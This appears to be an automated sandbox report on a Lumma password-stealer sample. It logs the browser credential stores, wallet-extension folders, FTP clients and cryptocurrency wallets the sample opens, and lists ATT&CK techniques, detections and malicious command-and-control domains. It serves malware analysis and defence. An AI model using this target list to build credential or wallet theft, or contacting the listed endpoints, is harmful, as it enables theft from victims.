Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ			Jump to behavior

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe PID: 4524, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe PID: 4524, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	LSASS Memory	211 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	41 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	73%	ReversingLabs	Win32.Trojan.LummaStealer
SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	100%	Avira	HEUR/AGEN.1314134
SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
goalyfeastz.site	104.21.33.140	true	true	unknown
ponintnykqwm.shop	unknown	unknown	true	unknown
opposezmny.site	unknown	unknown	true	unknown
seallysl.site	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
servicedny.site	true	unknown
goalyfeastz.site	true	unknown
contemteny.site	true	unknown
opposezmny.site	true	unknown
https://goalyfeastz.site/api	true	unknown
authorisev.site	true	unknown
faulteyotk.site	true	unknown
ponintnykqwm.shop	true	unknown
seallysl.site	true	unknown
dilemmadu.site	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://goalyfeastz.site/FO?	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179824263.0000000000EC3000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2179061369.0000000000EC3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://goalyfeastz.site/apie)	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107031075.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://goalyfeastz.site:443/api	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2079827222.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2150212465.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.microH	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2168082306.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109587943.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.enigmaprotector.com/openU	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://goalyfeastz.site/apis	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2150212465.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2167970332.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179932755.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109261947.0000000003EEA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://goalyfeastz.site/apiw	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2139742048.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://goalyfeastz.si	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2180620426.0000000003C55000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://goalyfeastz.site/apil	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2150212465.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2167970332.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179932755.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109587943.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://goalyfeastz.site/o	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2168082306.0000000000EC3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2107225236.0000000003BE0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://goalyfeastz.site/apisH	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2139742048.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.enigmaprotector.com/	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2109261947.0000000003EEA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080664665.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://goalyfeastz.site/	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2178900486.0000000000E5F000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.33.140	goalyfeastz.site	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545676
Start date and time:	2024-10-30 20:18:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@4/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 33 Number of non-executed functions: 163
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Simulations

Behavior and APIs

Time	Type	Description
